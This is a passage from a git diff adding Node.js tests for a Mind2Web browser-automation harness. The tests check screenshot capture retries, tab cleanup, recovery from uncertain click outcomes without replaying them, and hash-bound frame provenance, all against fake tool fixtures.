was removed/); + assert.equal(click.native_capture_result, undefined); + const meta = JSON.parse(await readFile(path.join(f.dir, 'raw/proxy-meta.json'))); + assert.equal(meta.counts.screenshot_retries, 1); + assert.equal((await f.events()).filter(row => row.type === 'tool' && row.name === 'click').length, 1, 'The action itself is never repeated'); +}); + +test('a busy page that misses one capture deadline is observed again, not failed', async t => { + const f = await fixture(t, { FIXTURE_UNRESPONSIVE_CAPTURE_FROM: '2', FIXTURE_UNRESPONSIVE_CAPTURE_UNTIL: '2' }); + const final = await f.run({ run: fakeActor(async ({ call }) => { await call('click', { selector: 'e1' }); }) }); + assert.equal(final.outcome, 'complete'); assert.equal(final.fault, null); + const click = (await f.steps()).find(row => row.tool === 'click'); + assert.equal(click.capture_retries.length, 1); assert.match(click.capture_retries[0].error, /did not respond before the capture deadline/); +}); + +test('a public page that stays unresponsive becomes a verified native failure, not a rig fault', async t => { + const f = await fixture(t, { FIXTURE_PUBLIC_MODE: '1', FIXTURE_UNRESPONSIVE_CAPTURE_FROM: '2' }), globalFaults = []; + const final = await f.run({ publicRelease: true, publicCatalog, onFault: detail => globalFaults.push(detail), + run: fakeActor(async ({ call }) => { const failed = await call('read_page'); assert.equal(failed.isError, true); }) }); + assert.equal(final.outcome, 'capture_failure'); assert.equal(final.cleanup_ok, true); assert.equal(final.uncertain_upstream, false); + assert.deepEqual(globalFaults, [], 'A settled public capture timeout is a task outcome, not a global halt'); + const disposition = await verifyPublicDisposition(path.join(f.dir, 'raw'), final); + assert.ok(disposition); assert.equal(disposition.native_error.code, 'PAGE_UNRESPONSIVE'); +}); + +test('a public task-tab close that FSB never acknowledges is completed by the exact-ID fallback and verified absent', async t => { + const f = await fixture(t, { FIXTURE_PUBLIC_MODE: '1', FIXTURE_CLOSE_TIMEOUT_TASK: '1' }), closed = []; + // The double drops the tab while timing out, as the stuck renderer is torn down only by the fallback here. + const final = await f.run({ publicRelease: true, publicCatalog, closeTabs: async ids => { closed.push(...ids); return { ok: true, closed: ids, missing: [] }; }, + run: fakeActor(async ({ call }) => { await call('read_page'); }) }); + assert.equal(final.outcome, 'complete'); assert.equal(final.cleanup_ok, true); + const cleanup = JSON.parse(await readFile(path.join(f.dir, 'raw/childcleanup.json'))); + const close = cleanup.closes.find(row => row.method); + assert.equal(close.method, 'osascript_exact_tab_id_after_unacknowledged_close'); assert.deepEqual(closed, [close.tab_id]); +}); + +test('a capture refused because another tab became visible re-focuses the task tab and observes again', async t => { + const f = await fixture(t, { FIXTURE_FOREIGN_VISIBLE_CAPTURE_EXACT: '2' }); + const final = await f.run({ run: fakeActor(async ({ call }) => { await call('click', { selector: 'e1' }); }) }); + assert.equal(final.outcome, 'complete'); assert.equal(final.fault, null); + const click = (await f.steps()).find(row => row.tool === 'click'); + assert.equal(click.capture_retries.length, 1); assert.match(click.capture_retries[0].error, /Cannot access contents of the page/); + const tools = (await f.events()).filter(row => row.type === 'tool').map(row => row.name); + const failedAt = tools.lastIndexOf('capture_screenshot', tools.length - 1); + assert.ok(tools.filter(name => name === 'switch_tab').length >= 3, 'The task tab is re-focused before the repeated capture'); + assert.ok(failedAt > 0); +}); diff --git a/mind2web/harness/test/manual-live-gate.test.mjs b/mind2web/harness/test/manual-live-gate.test.mjs new file mode 100644 index 000000000..4dbf52f13 --- /dev/null +++ b/mind2web/harness/test/manual-live-gate.test.mjs @@ -0,0 +1,381 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import { createHash } from 'node:crypto'; +import { mkdtemp, mkdir, readFile, writeFile, rm, stat, copyFile } from 'node:fs/promises'; +import { tmpdir } from 'node:os'; +import path from 'node:path'; +import vm from 'node:vm'; +import { refForLabel, javascriptValue, hoverDispatchObserved, findOwnedFixturePopup, callActorTool, inspectArtifacts, manualLiveGate, + settleOperations, FIXTURE_PATH, DEFAULT_PROFILE_PATH } from '../manual-live-gate.mjs'; +import { encodeSolidPng } from '../png.mjs'; +import { writeV2 } from '../v2-writer.mjs'; +import { verifyLocalGateEvidence, verifyPilotExport } from '../repair-benchmark.mjs'; +import { ManualRecordingProxy } from '../manual-recording-proxy.mjs'; +import { resultData, resultOK } from '../mcp-record-proxy.mjs'; + +const hash = bytes => createHash('sha256').update(bytes).digest('hex'); +const textResult = value => ({ content: [{ type: 'text', text: JSON.stringify(value) }] }); + +test('snapshot ref selection requires one exact accessible label and never supplies CSS', () => { + const snapshot = '`e7: button "Other"` `e12: button "Gate click"`\n`e13: textbox "Gate text"`'; + assert.equal(refForLabel(snapshot, 'Gate click'), 'e12'); + assert.throws(() => refForLabel(snapshot, 'click'), /exactly one/); + assert.throws(() => refForLabel(snapshot + '\n`e20: button "Gate click"`', 'Gate click'), /exactly one/); + assert.equal(refForLabel('`e2: button "Label (with + symbols)"`', 'Label (with + symbols)'), 'e2'); +}); + +test('actor helper awaits emission acceptance before returning a coordinate-capable frame', async () => { + let release, emitted = false; + const acceptance = new Promise(resolve => { release = resolve; }); + const bytes = encodeSolidPng(120, 100, [20, 40, 60]); + const result = textResult({ observation: { frame_id: 'unit-frame' } }); + result.content.push({ type: 'image', mimeType: 'image/png', data: bytes.toString('base64') }); + const proxy = { handle: async () => result, + async noteEmitted(value) { assert.equal(value, result); await acceptance; emitted = true; } }; + let returned = false; + const pending = callActorTool(proxy, 'capture_screenshot', {}, { imageCount: 1 }).then(value => { returned = true; return value; }); + await new Promise(resolve => setImmediate(resolve)); + assert.equal(returned, false); + release(); + assert.equal((await pending).observation.frame_id, 'unit-frame'); + assert.equal(emitted, true); +}); + +test('invalid image bytes cannot be acknowledged as an emitted frame', async () => { + let emitted = false; + const proxy = { handle: async () => ({ content: [{ type: 'image', mimeType: 'image/png', data: 'invalid' }] }), + async noteEmitted() { emitted = true; } }; + await assert.rejects(callActorTool(proxy, 'capture_screenshot'), /false !== true/); + assert.equal(emitted, false); +}); + +async function unknownActionFixture(t, { flag, changeState = true } = {}) { + const root = await mkdtemp(path.join(tmpdir(), 'fsb-gate-unknown-')); + const taskId = 'unit_completed_unknown', url = `http://127.0.0.1:32123/fixture?marker=${taskId}`; + const state = { marker: taskId, clicks: 0 }, calls = []; + let opened = false, captures = 0; + const upstream = { async request(method, params = {}) { + assert.equal(method, 'tools/call'); const { name, arguments: args } = params; calls.push({ name, args }); + if (name === 'list_tabs') return textResult({ success: true, tabs: opened ? [{ id: 42 }] : [] }); + if (name === 'open_tab') { opened = true; return textResult({ success: true, tabId: 42 }); } + if (name === 'close_tab') { opened = false; return textResult({ success: true }); } + if (name === 'switch_tab') return textResult({ success: true }); + if (name === 'click') { + if (changeState) state.clicks++; + return { isError: true, ...textResult({ outcome: 'unknown', mayHaveExecuted: true, + error: 'Click was dispatched but its effect could not be confirmed.', ...(flag ? { [flag]: true } : {}) }) }; + } + if (name === 'get_text') { assert.equal(args.selector, '#gate-state'); return textResult({ success: true, text: JSON.stringify(state) }); } + if (name === 'execute_js') return textResult({ success: true, result: JSON.stringify(state) }); + if (name === 'capture_screenshot') { + const bytes = encodeSolidPng(120, 100, [40, 60, 80]); + return { content: [{ type: 'text', text: JSON.stringify({ capture_id: `capture-${++captures}`, source_url: url, + timestamp: new Date().toISOString(), mode: 'viewport', css_rect: { x: 0, y: 0, width: 120, height: 100 }, + output_width: 120, output_height: 100, sha256: hash(bytes), byte_length: bytes.length, + effective_emulation: { device_mode: 'current', device_scale_factor: 1 } }) }, + { type: 'image', mimeType: 'image/png', data: bytes.toString('base64') }] }; + } + throw new Error(`Unexpected fake native tool ${name}`); + }, async close() {} }; + const proxy = new ManualRecordingProxy({ upstream, rawDir: path.join(root, taskId), taskId, startUrl: url }); + proxy.gateCompletedUnknowns = []; + t.after(async () => { await proxy.close(); await rm(root, { recursive: true, force: true }); }); + return { root, proxy, calls, state }; +} + +test('completed unknown keeps its failed native result and performs one emitted fresh read before exact state inspection, without replay', async t => { + const f = await unknownActionFixture(t); + const response = await callActorTool(f.proxy, 'click', { selector: 'e1' }, { observeCompletedUnknown: true, imageCount: 1 }); + assert.equal(resultOK(response.result), false); assert.equal(response.completed_unknown.native_success, false); + assert.equal(response.completed_unknown.outcome, 'unknown'); assert.equal(response.completed_unknown.replayed, false); + assert.equal(f.proxy.pendingVerification.size, 0, 'The actual proxy must receive the fresh read emission before another mutation'); + const inspected = await callActorTool(f.proxy, 'execute_js', { code: 'return JSON.parse(document.querySelector("#gate-state").textContent);' }, { imageCount: 1 }); + assert.equal(javascriptValue(inspected.rows).clicks, 1); + assert.deepEqual(f.calls.filter(row => ['click', 'get_text', 'execute_js'].includes(row.name)).map(row => row.name), ['click', 'get_text', 'execute_js']); + const steps = (await readFile(path.join(f.proxy.rawDir, 'steps.jsonl'), 'utf8')).trim().split('\n').map(JSON.parse); + assert.deepEqual(steps.map(row => row.tool), ['open_tab', 'click', 'get_text', 'execute_js']); + assert.equal(steps[1].ok, false); assert.equal(steps[1].execution_outcome, 'unknown'); + assert.equal(f.proxy.meta.counts.actor_mutations_dispatched, 2, 'Only the one click plus the later explicit DOM assertion dispatch as mutations'); + const emissions = (await readFile(path.join(f.proxy.rawDir, 'emissions.jsonl'), 'utf8')).trim().split('\n').map(JSON.parse); + assert.ok(emissions.some(row => row.frame_id === response.completed_unknown.fresh_read.frame_id)); + assert.equal(f.proxy.gateCompletedUnknowns.length, 1); +}); + +test('completed unknown is not itself a goal assertion when a fresh read shows no effect', async t => { + const f = await unknownActionFixture(t, { changeState: false }); + await callActorTool(f.proxy, 'click', { selector: 'e1' }, { observeCompletedUnknown: true, imageCount: 1 }); + const inspected = await callActorTool(f.proxy, 'execute_js', { code: 'return JSON.parse(document.querySelector("#gate-state").textContent);' }, { imageCount: 1 }); + assert.throws(() => assert.equal(javascriptValue(inspected.rows).clicks, 1), /0 !== 1/); + assert.equal(f.calls.filter(row => row.name === 'click').length, 1); +}); + +test('pending native work cannot use completed-unknown recovery or dispatch a fresh read', async t => { + for (const flag of ['in_flight', 'cleanup_pending']) await t.test(flag, async t => { + const f = await unknownActionFixture(t, { flag }); + await assert.rejects(callActorTool(f.proxy, 'click', { selector: 'e1' }, { observeCompletedUnknown: true, imageCount: 1 }), /unresolved native work/); + assert.equal(f.calls.filter(row => row.name === 'click').length, 1); + assert.equal(f.calls.some(row => row.name === 'get_text' || row.name === 'execute_js'), false); + assert.equal(f.proxy.meta.uncertain_upstream, true); + }); +}); + +test('ordinary queue refusals retain their queue code instead of entering completed-unknown recovery', async () => { + let calls = 0; + const proxy = { handle: async () => { calls++; return { isError: true, ...textResult({ code: 'BROWSER_QUEUE_TIMEOUT', execution_outcome: 'not_executed' }) }; }, async noteEmitted() {} }; + await assert.rejects(callActorTool(proxy, 'click', { selector: 'e1' }, { observeCompletedUnknown: true, imageCount: 1 }), { code: 'BROWSER_QUEUE_TIMEOUT' }); + assert.equal(calls, 1); +}); + +test('an unknown result without its physical PNG cannot dispatch an observation-recovery read', async () => { + let calls = 0; + const proxy = { handle: async () => { calls++; return { isError: true, ...textResult({ outcome: 'unknown', mayHaveExecuted: true }) }; }, async noteEmitted() {} }; + await assert.rejects(callActorTool(proxy, 'click', { selector: 'e1' }, { observeCompletedUnknown: true, imageCount: 1 }), /requires its actual native PNG/); + assert.equal(calls, 1); +}); + +test('JavaScript DOM values are decoded without treating the observation receipt as the value', () => { + assert.deepEqual(javascriptValue([{ observation: {} }, { result: '{"marker":"unit"}' }]), { marker: 'unit' }); + assert.throws(() => javascriptValue([{ observation: {} }]), /no value/); +}); + +test('live execution is refused before touching an output directory without staging authorization', async () => { + const output = path.join(tmpdir(), `fsb-gate-not-created-${process.pid}-${Date.now()}`); + await assert.rejects(manualLiveGate({ outputDir: output }), /explicit authorization/); + await assert.rejects(stat(output), error => error.code === 'ENOENT'); +}); + +test('a failed concurrent operation drains its started peers before cleanup can begin', async () => { + let release, rejected = false; + const peer = new Promise(resolve => { release = resolve; }); + const pending = settleOperations([Promise.reject(new Error('failed operation')), peer]); + pending.catch(() => { rejected = true; }); + await new Promise(resolve => setImmediate(resolve)); + assert.equal(rejected, false); + release('finished peer'); + await assert.rejects(pending, /failed operation/); +}); + +async function artifactFixture(t) { + const root = await mkdtemp(path.join(tmpdir(), 'fsb-gate-unit-')); + t.after(() => rm(root, { recursive: true, force: true })); + const taskId = 'unit_gate_provenance', rawDir = path.join(root, taskId); + await mkdir(path.join(rawDir, 'shots'), { recursive: true }); + const url = 'http://127.0.0.1:32123/fixture?marker=unit-marker'; + const steps = []; + for (let seq = 0; seq < 3; seq++) { + const bytes = encodeSolidPng(120, 100, [40 + seq * 20, 50, 60]); + const screenshot = path.join(rawDir, 'shots', `${seq}.png`); + await writeFile(screenshot, bytes); + const receipt = { frame_id: `unit-frame-${seq}`, task_id: taskId, tab_id: 42, + capture_id: `unit-capture-${seq}`, source_url: url, sha256: hash(bytes), byte_length: bytes.length }; + steps.push({ seq, kind: ['bootstrap', 'action', 'read'][seq], tool: ['open_tab', 'click', 'read_page'][seq], + args: seq ? { selector: 'e1' } : { url }, tab_id: 42, ok: true, url, + screenshot_path: screenshot, frame_receipt: receipt }); + } + await writeFile(path.join(rawDir, 'steps.jsonl'), steps.map(row => JSON.stringify(row)).join('\n') + '\n'); + await writeFile(path.join(rawDir, 'emissions.jsonl'), steps.slice(1).map(row => JSON.stringify({ frame_id: row.frame_receipt.frame_id })).join('\n') + '\n'); + await writeFile(path.join(rawDir, 'final.json'), JSON.stringify({ outcome: 'complete', final_answer: 'unit fixture' })); + const task = { task_id: taskId, confirmed_task: 'Unit-test frame provenance', website: url, reference_length: 1 }; + const written = await writeV2({ rawDir, outDir: path.join(root, 'trajectories'), allowlistPath: DEFAULT_PROFILE_PATH, task }); + const options = { rawDir, exportDir: written.dir, expectedOrigin: new URL(url).origin, allowedMarkers: ['unit-marker'] }; + return { root, task, options, steps, rawDir, exportDir: written.dir }; +} + +test('artifact check binds native receipt bytes, source task, emissions and action-specific exports', async t => { + const f = await artifactFixture(t); + const checked = await inspectArtifacts(f.options); + assert.equal(checked.physical_frames, 3); + assert.equal(checked.emitted_frames, 2); + assert.equal(checked.exported_frames, 3); + assert.equal(checked.frames[0].source_url, f.steps[0].url); +}); + +test('a valid PNG from the wrong operation cannot replace an exported action frame', async t => { + const f = await artifactFixture(t); + await copyFile(f.steps[2].screenshot_path, path.join(f.exportDir, 'trajectory/0001.png')); + await assert.rejects(inspectArtifacts(f.options), /corresponding native frame/); +}); + +test('foreign task source metadata fails even when the PNG and hash are valid', async t => { + const f = await artifactFixture(t); + f.steps[1].url = f.steps[1].frame_receipt.source_url = 'http://127.0.0.1:32123/fixture?marker=foreign'; + await writeFile(path.join(f.rawDir, 'steps.jsonl'), f.steps.map(row => JSON.stringify(row)).join('\n') + '\n'); + await assert.rejects(inspectArtifacts(f.options), /another fixture task/); +}); + +test('a retained PNG without actor delivery acknowledgement fails the gate', async t => { + const f = await artifactFixture(t); + await writeFile(path.join(f.rawDir, 'emissions.jsonl'), JSON.stringify({ frame_id: 'unit-frame-2' }) + '\n'); + await assert.rejects(inspectArtifacts(f.options), /not acknowledged/); +}); + +test('resumed local evidence rechecks native PNGs, emissions, exported frames and source bytes', async t => { + const f = await artifactFixture(t), sourcePath = path.join(f.root, 'fixture-source.js'); + const sourceBytes = Buffer.from('Synthetic unit source; no browser calls.\n'); await writeFile(sourcePath, sourceBytes); + const sources = [{ path: sourcePath, bytes: sourceBytes.length, sha256: hash(sourceBytes) }]; + const command = ['/unit/node', '/unit/build/index.js', 'stdio']; + await writeFile(path.join(f.root, 'manifest.json'), JSON.stringify({ sources, command_sha256: hash(JSON.stringify(command)) })); + const summary = { sources, sessions: [{ raw_dir: f.rawDir, export_dir: f.exportDir, marker: 'unit-marker', artifacts: await inspectArtifacts(f.options) }] }; + assert.equal((await verifyLocalGateEvidence(summary, { gateDir: f.root, serverCommand: command })).ok, true); + const original = await readFile(f.steps[0].screenshot_path); + await writeFile(f.steps[0].screenshot_path, encodeSolidPng(120, 100, [150, 10, 20])); + await assert.rejects(verifyLocalGateEvidence(summary, { gateDir: f.root, serverCommand: command })); + await writeFile(f.steps[0].screenshot_path, original); + await writeFile(sourcePath, 'Changed source bytes'); + await assert.rejects(verifyLocalGateEvidence(summary, { gateDir: f.root, serverCommand: command }), /Saved pipeline evidence changed/); +}); + +test('pilot export reuse regenerates from raw evidence and rejects a valid but substituted PNG', async t => { + const f = await artifactFixture(t); + const attempt = { raw_dir: f.rawDir, final: { outcome: 'complete' } }; + const row = { task_id: f.task.task_id, raw_dir: f.rawDir, outcome: 'complete' }; + const options = { directory: f.root, row, attempt, task: f.task }; + await verifyPilotExport(options); + await copyFile(f.steps[2].screenshot_path, path.join(f.exportDir, 'trajectory/0001.png')); + await assert.rejects(verifyPilotExport(options), /physical export differs/); +}); + +function fixtureDom(html, query) { + const handlers = new Map(), nodes = new Map(), opened = [], intervals = [], timeouts = []; + for (const [, id] of html.matchAll(/\bid="([^"]+)"/g)) { + nodes.set(id, { textContent: '', hidden: false, + addEventListener(type, callback) { handlers.set(`${id}:${type}`, callback); }, + getContext: () => ({ fillRect() {}, fillText() {} }) }); + } + const location = new URL(`http://fixture.test/fixture?${query}`); + const sandbox = { URL, URLSearchParams, location, + document: { getElementById: id => nodes.get(id) }, + window: { open: (...args) => opened.push(args) }, + setInterval: callback => { intervals.push(callback); return intervals.length; }, + clearInterval() {}, setTimeout: callback => timeouts.push(callback) }; + const script = html.match(/